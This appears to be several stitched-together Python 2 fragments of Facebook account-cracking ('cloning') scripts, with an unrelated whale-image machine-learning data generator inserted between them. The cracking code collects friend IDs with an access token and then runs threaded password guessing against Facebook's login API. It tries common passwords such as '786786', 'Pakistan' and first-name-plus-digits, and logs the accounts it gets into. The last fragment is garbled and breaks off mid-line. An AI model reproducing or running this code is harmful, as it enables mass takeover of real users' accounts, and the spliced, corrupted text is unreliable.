"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass3 oks.append(user + pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass3 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass3 + "\n") cek.close() cekpoint.append(user + pass3) else: pass4 = 'Pakistan' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass4 oks.append(user + pass4) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass4 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass4 + "\n") cek.close() cekpoint.append(user + pass4) else: pass5 = b['first_name'] + '12' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass5 oks.append(user + pass5) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass5 cek = open( "out/checkpoint.txt", "a") cek.write(user + "|" + pass5 + "\n") cek.close() cekpoint.append(user + pass5) else: pass6 = b[ 'first_name'] + '1234' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass6 oks.append(user + pass6) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass6 cek = open( "out/checkpoint.txt", "a") cek.write(user + "|" + pass6 + "\n") cek.close() cekpoint.append( user + pass6) else: a = requests.get( 'https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads( a.text) pass7 = b[ 'first_name'] + '1122' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass7 oks.append( user + pass7) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass7 cek = open( "out/checkpoint.txt", "a") cek.write( user + "|" + pass7 + "\n") cek.close() cekpoint.append( user + pass7) except: pass p = ThreadPool(30) p.map(main, id) print 42 * "\033[1;96m=" print '\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;92mProcess Has Been Completed \033[1;97m....' print "\033[1;96m[+] \033[1;92mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;92m" + str( len(oks)) + "\033[1;97m/\033[1;93m" + str(len(cekpoint)) print( "\033[1;96m[+] \033[1;92mCP File Has Been Saved \033[1;91m: \033[1;97mout/checkpoint.txt" ) raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]") menu()
class TrainingDataFast(Sequence): def __init__(self, score_list, steps=1000, batch_size=32): """ @param score the cost matrix for the picture matching @param steps the number of epoch we are planning with this score matrix """ super(TrainingDataFast, self).__init__() #self.score = -score # Maximizing the self.score is the same as minimuzing -score. self.score = np.zeros((len(train), len(train))) start = 0 for s in score_list: the_size = s.shape[0] self.score[start:start + the_size, start:start + the_size] = -s start += the_size self.steps = steps self.batch_size = batch_size for ts in w2ts.values(): idxs = [t2i[t] for t in ts] for i in idxs: for j in idxs: self.score[ i, j] = 10000.0 # Set a large value for matching whales -- eliminates this potential pairing self.on_epoch_end() self.p = ThreadPool(8) def __getitem__(self, index): start = self.batch_size * index end = min(start + self.batch_size, len(self.match) + len(self.unmatch)) size = end - start assert size > 0 def _read_for_training_expand_dim(p): return np.expand_dims(read_for_training(p), 0).astype(K.floatx()) i_start, i_end = start // 2, int(start // 2 + np.ceil(size / 2)) unroll_match = [[m[0], m[1], u[0], u[1]] for m, u in zip( self.match[i_start:i_end], self.unmatch[i_start:i_end])] unroll_match = [i for item in unroll_match for i in item] unroll_train_images = np.concatenate( self.p.map(_read_for_training_expand_dim, unroll_match), 0) #print("\nunroll_train_images shape: {}\n".format(unroll_train_images.shape)) unroll_train_images = preprocess_image(unroll_train_images) ## a[0], b[0], a[1], b[1], a[2], b[2], a[3], a[4] ... a_indices = list(range(0, len(unroll_train_images), 2)) a = unroll_train_images[a_indices] b_indices = list(range(1, len(unroll_train_images), 2)) b = unroll_train_images[b_indices] c = np.zeros((size, 1), dtype=K.floatx()) for i in range(0, size, 2): c[i, 0] = 1 # This is a match c[i + 1, 0] = 0 # Different whales return [a, b], c def on_epoch_end(self): if self.steps <= 0: return # Skip this on the last epoch. self.steps -= 1 self.match = [ ] # len(self.match) == len(train), each element is a pair of images that match the same label self.unmatch = [] if segment: # Using slow scipy. Make small batches. # Because algorithm is O(n^3), small batches are much faster. # However, this does not find the real optimum, just an approximation. tmp = [] batch = math.ceil(self.score.shape[0] / LINEAR_ASSIGNMENT_SEGMENT_SIZE) print("\nScore matrix size: {} and lapjv batch size: {}".format( self.score.shape[0], batch)) for start in range(0, self.score.shape[0], batch): end = min(self.score.shape[0], start + batch) #_, x = linear_sum_assignment(self.score[start:end, start:end]) #_, x = hungarian.lap(self.score[start:end, start:end]) with timer("lapjv ops 1 round"): _, _, x = lapjv(self.score[start:end, start:end]) tmp.append(x + start) x = np.concatenate(tmp) else: print("Running lapjv on entire score matrix! size: ".format) with timer("lapjv ops (entire data) "): _, _, x = lapjv( self.score) # Solve the linear assignment problem y = np.arange(len(x), dtype=np.int32) # Compute a derangement for matching whales for ts in w2ts.values(): d = ts.copy() while True: random.shuffle(d) if not np.any(ts == d): break for ab in zip(ts, d): self.match.append(ab) # Construct unmatched whale pairs from the LAP solution. for i, j in zip(x, y): if i == j: print(self.score) print(x) print(y) print(i, j) assert i != j self.unmatch.append((train[i], train[j])) # Force a different choice for an eventual next epoch. self.score[x, y] = 10000.0 self.score[y, x] = 10000.0 random.shuffle(self.match) random.shuffle(self.unmatch) # print(len(self.match), len(train), len(self.unmatch), len(train)) assert len(self.match) == len(train) and len( self.unmatch) == len(train) def __len__(self): return (len(self.match) + len(self.unmatch) + self.batch_size - 1) // self.batch_size
def pilih_super(): peak = raw_input("\n\033[1;97mChoose an Option>>> \033[1;97m") if peak == "": print "\x1b[1;91mFill in correctly" pilih_super() elif peak == "1": os.system('clear') print logo print "\033[1;97m«--------------------\033[1;92m✧\033[1;97m--------------------»" jalan('\033[1;93mGetting IDs \033[1;97m...') r = requests.get( "https://graph.facebook.com/me/friends?access_token=" + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak == "2": os.system('clear') print logo idt = raw_input( "\033[1;96m[+] \033[1;93mEnter ID\033[1;93m: \033[1;97m") print "\033[1;97m«--------------------\033[1;92m✧\033[1;97m--------------------»" try: jok = requests.get("https://graph.facebook.com/" + idt + "?access_token=" + toket) op = json.loads(jok.text) print "\033[1;93mName\033[1;93m:\033[1;97m " + op["name"] except KeyError: print "\x1b[1;91mID Not Found!" raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]") super() print "\033[1;93mGetting IDs\033[1;93m..." r = requests.get("https://graph.facebook.com/" + idt + "/friends?access_token=" + toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak == "0": menu() else: print "\x1b[1;91mFill in correctly" pilih_super() print "\033[1;93mTotal IDs\033[1;93m: \033[1;97m" + str(len(id)) jalan('\033[1;93mPlease Wait\033[1;93m...') titik = ['. ', '.. ', '... '] for o in titik: print("\r\033[1;93mCloning\033[1;93m" + o), sys.stdout.flush() time.sleep(1) print "\n\033[1;97m«-----\x1b[1;91m【To Stop Process Press CTRL+Z】\033[1;97m----»" print "\033[1;97m«--------------------\033[1;92m✧\033[1;97m--------------------»" jalan(' \033[1;93mPlz Wait Cloned Accounts Will Appear Here') print "\033[1;97m«--------------------\033[1;92m✧\033[1;97m--------------------»" def main(arg): global cekpoint, oks user = arg try: os.mkdir('out') except OSError: pass #Dev:Mk_tricks try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = ('786786') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92m✧\x1b[1;96m- ' + user + ' -\x1b[1;92m✧\x1b[1;96m-' + pass1 oks.append(user + pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[Checkpoint] ' + user + ' \x1b[1;96m| ' + pass1 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass1 + "\n") cek.close() cekpoint.append(user + pass1) else: pass2 = 'Bangladesh' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92m✧\x1b[1;97m- ' + user + ' -\x1b[1;92m✧\x1b[1;97m-' + pass2 oks.append(user + pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;91m[Checkpoint] ' + user + ' \x1b[1;97m| ' + pass2 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass2 + "\n") cek.close() cekpoint.append(user + pass2) else: pass3 = b['first_name'] + '12345' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92m✧\x1b[1;97m- ' + user + ' -\x1b[1;92m✧\x1b[1;97m-' + pass3 oks.append(user + pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;92m[Checkpoint] ' + user + ' \x1b[1;92m| ' + pass3 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass3 + "\n") cek.close() cekpoint.append(user + pass3) else: pass4 = b['first_name'] + '123' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92m✧\x1b[1;97m- ' + user + ' -\x1b[1;92m✧\x1b[1;97m-' + pass4 oks.append(user + pass4) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;93m[Checkpoint] ' + user + ' \x1b[1;93m| ' + pass4 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass4 + "\n") cek.close() cekpoint.append(user + pass4) else: pass5 = b['first_name'] + '786' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92m✧\x1b[1;97m- ' + user + ' -\x1b[1;92m✧\x1b[1;97m-' + pass5 oks.append(user + pass5) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;91m[Checkpoint] ' + user + ' \x1b[1;97m| ' + pass5 cek = open( "out/checkpoint.txt", "a") cek.write(user + "|" + pass5 + "\n") cek.close() cekpoint.append(user + pass5) else: pass6 = 'pakistan' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92m✧\x1b[1;97m- ' + user + ' -\x1b[1;92m✧\x1b[1;97m-' + pass6 oks.append(user + pass6) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;91m[Checkpoint] ' + user + ' \x1b[1;97m| ' + pass6 cek = open( "out/checkpoint.txt", "a") cek.write(user + "|" + pass6 + "\n") cek.close() cekpoint.append( user + pass6) else: a = requests.get( 'https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads( a.text) pass7 = b[ 'first_name'] + '1234' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92m✧\x1b[1;97m- ' + user + ' -\x1b[1;92m✧\x1b[1;97m-' + pass7 oks.append( user + pass7) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;91mCheckpoint ' + user + ' \x1b[1;91m| ' + pass7 cek = open( "out/checkpoint.txt", "a") cek.write( user + "|" + pass7 + "\n") cek.close() cekpoint.append( user + pass7) except: pass p = ThreadPool(30) p.map(main, id) print "\033[1;97m«--------------------\033[1;92m✧\033[1;97m--------------------»" print " \033[1;91m«---------Developed By Terrible Killers Gang------------»" #Dev:Md Mishat print '\033[1;92mProcess Has Been Completed\033[1;92m....' print "\033[1;92mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;92m" + str( len(oks)) + "\033[1;97m/\033[1;93m" + str(len(cekpoint)) print """ .--, .--, ( ( \.---./ ) ) '.__/o o\__.' {= ^ =} > - < .-------------.""`-------`"".-------------. : \033[1;92m Hope You Terrible Killers Gang \033[1;93m : '-----------------------------------------' ___)( )(___ (((__) (__)))""" raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]") menu()
def pilih_super(): peak = raw_input("\n\033[1;94mChoose an Option>>> \033[1;97m") if peak =="": print "\x1b[1;91mFill in correctly" pilih_super() elif peak =="1": os.system('clear') print logo print "\033[1;92m•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•\033[1;91mRDX_001\033[1;92m•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•" jalan('\033[1;95mGetting IDs \033[1;93m...') r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak =="2": os.system('clear') print logo idt = raw_input("\033[1;96m[⁜⁜] \033[1;92mEnter ID\033[1;93m: \033[1;97m") print "\033[1;92m•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•\033[1;91mRDX_001\033[1;92m•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•" try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[1;93mName\033[1;93m:\033[1;97m "+op["name"] except KeyError: print"\x1b[1;92mID Not Found!" raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]") super() print"\033[1;93mGetting IDs\033[1;92m..." r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak =="0": menu() else: print "\x1b[1;91mFill in correctly" pilih_super() print "\033[1;91mTotal IDs\033[1;93m: \033[1;94m"+str(len(id)) jalan('\033[1;92mPlease Wait\033[1;93m...') titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;91mStart Cloning\033[1;93m"+o),;sys.stdout.flush();time.sleep(1) print "\n\033[1;92m⁜⁜⁜⁜⁜⁜⁜⁜⁜\x1b[1;93m•◈•Stop Process Press CTRL+Z•◈•\033[1;92m⁜⁜⁜⁜⁜⁜⁜" print "\033[1;92m•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•\033[1;91mRDX_001\033[1;95m•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•" jalan(' \033[1;93m⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜\033[1;94mCloning Start plzzz Wait\033[1;93m⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜⁜') print "\033[1;92m•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•\033[1;91mRDX_001\033[1;95m•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•" def main(arg): global cekpoint,oks user = arg try: os.mkdir('out') except OSError: pass #Dev:Z_K_TECH try: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass1 = ('786786') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;91mDone◔\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;94m✙\x1b[1;95m-' + pass1 oks.append(user+pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;94mCheckpoint\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass1 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass1+"\n") cek.close() cekpoint.append(user+pass1) else: pass2 = 'Pakistan' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;91mDone◔\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass2 oks.append(user+pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;94mCheckpoint\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass2 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass2+"\n") cek.close() cekpoint.append(user+pass2) else: pass3 = b['first_name'] + '12345' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;91mDone◔\x1b[1;97m-\x1b[1;94m✙\x1b[1;97m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass3 oks.append(user+pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;94mCheckpoint\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass3 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass3+"\n") cek.close() cekpoint.append(user+pass3) else: pass4 = b['first_name'] + '123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;91mDone◔\x1b[1;97m-\x1b[1;94m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass4 oks.append(user+pass4) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;94mCheckpoint\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass4 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass4+"\n") cek.close() cekpoint.append(user+pass4) else: pass5 = b['first_name'] + '786' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;91mDone◔\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass5 oks.append(user+pass5) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;94mCheckpoint\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass5 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass5+"\n") cek.close() cekpoint.append(user+pass5) else: pass6 = 'Pakistan1' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;91mDone◔\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass6 oks.append(user+pass6) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;94mCheckpoint\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass6 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass6+"\n") cek.close() cekpoint.append(user+pass6) else: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass7 = b['first_name'] + '1234' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;91mDone◔\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass7 oks.append(user+pass7) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;94mCheckpoint\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass7 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass7+"\n") cek.close() cekpoint.append(user+pass7) except: pass p = ThreadPool(30) p.map(main, id) print "\033[1;92m•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•\033[1;91mRDX_001\033[1;92m•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•" print " \033[1;93m«---•◈•---Developed By AHMAD_SANA_FAROOQ--•◈•---»" #Dev:AHMAD_SANA_FAROOQ print '\033[1;91m✅Process Has Been Completed Press➡\033[1;92m....' print"\033[1;91mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;91m"+str(len(oks))+"\033[1;97m/\033[1;92m"+str(len(cekpoint)) print """ ♥♥♥♥♥ ♥♥ ♥♥ ♥♥♥ ♥♥♥ ♥♥♥♥♥ ♥♥♥♥♥♥ ♥♥ ♥♥ ♥♥ ♥♥ ♥♥♥♥ ♥♥♥♥ ♥♥ ♥♥ ♥♥ ♥♥ ♥♥♥♥♥♥♥ ♥♥♥♥♥♥♥ ♥♥ ♥♥♥♥ ♥♥ ♥♥♥♥♥♥♥ ♥♥ ♥♥ ♥♥ ♥♥ ♥♥ ♥♥ ♥♥ ♥♥ ♥♥ ♥♥ ♥♥ ♥♥ ♥♥ ♥♥ ♥♥ ♥♥ ♥♥ ♥♥ ♥♥ ♥♥ ♥♥ ♥♥♥♥♥♥ •\033[1;92m◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•.""" raw_input("\n\033[1;92m[\033[1;91mBack\033[1;96m]") menu()
def pilih_crack(): peak = raw_input("\n\033[1;96mChoose an Option ---> \033[1;95m") if peak == "": print "\x1b[1;91mFill in correctly" pilih_crack() elif peak == "1": os.system('clear') print logo jjt = raw_input("\033[1;92mPUBLIC ID : \033[1;92m") print "-★-★--★-★--★-★--★-★--★-★--★-★--★-" try: m = requests.get("https://graph.facebook.com/" + jjt + "?access_token=" + toket) td = json.loads(m.text) print "\033[1;94mName\033[1;94m:\033[1;94m " + td["name"] except KeyError: print "\x1b[1;91mID Not Found!" raw_input("\n\033[1;97m[\033[1;97mBack\033[1;97m]") crack() print "\033[1;97mGetting IDs\033[1;97m..." n = requests.get("https://graph.facebook.com/" + jjt + "/friends?access_token=" + toket) d = json.loads(n.text) for c in d['data']: id.append(c['id']) elif peak == "0": men() else: print "\x1b[1;91mFill in correctly" pilih_crack() print "\033[1;97mTotal IDs\033[1;97m: \033[1;97m" + str(len(id)) jalan('\033[1;97mPlease Wait\033[1;97m...') titik = ['. ', '.. ', '... '] for o in titik: print("\r\033[1;92mCloning\033[1;92m" + o), sys.stdout.flush() time.sleep(1) print "\033[1;92mCTRL+Z FOR STOP CLONING" print "\033[1;93-★-★--★-★--★-★--★-★--★-★--★-★--★-" jalan(' \033[1;92mC L O N I N G S T A R T E D') def main(arg): global cekpoint, oks user = arg try: os.mkdir('cookie') except OSError: pass #Dev:shaheer try: k = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) y = json.loads(k.text) pass1 = ('786786') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass1 oks.append(user + pass1) else: if 'www.facebook.com' in s["★_msg"]: print '\x1b[1;93m★\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass1 cek = open("out/checkpoint.txt", "k") cek.write(user + "|" + pass1 + "\n") cek.close() cekpoint.append(user + pass1) else: pass2 = 'Pakistan' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass2 oks.append(user + pass2) else: if 'www.facebook.com' in 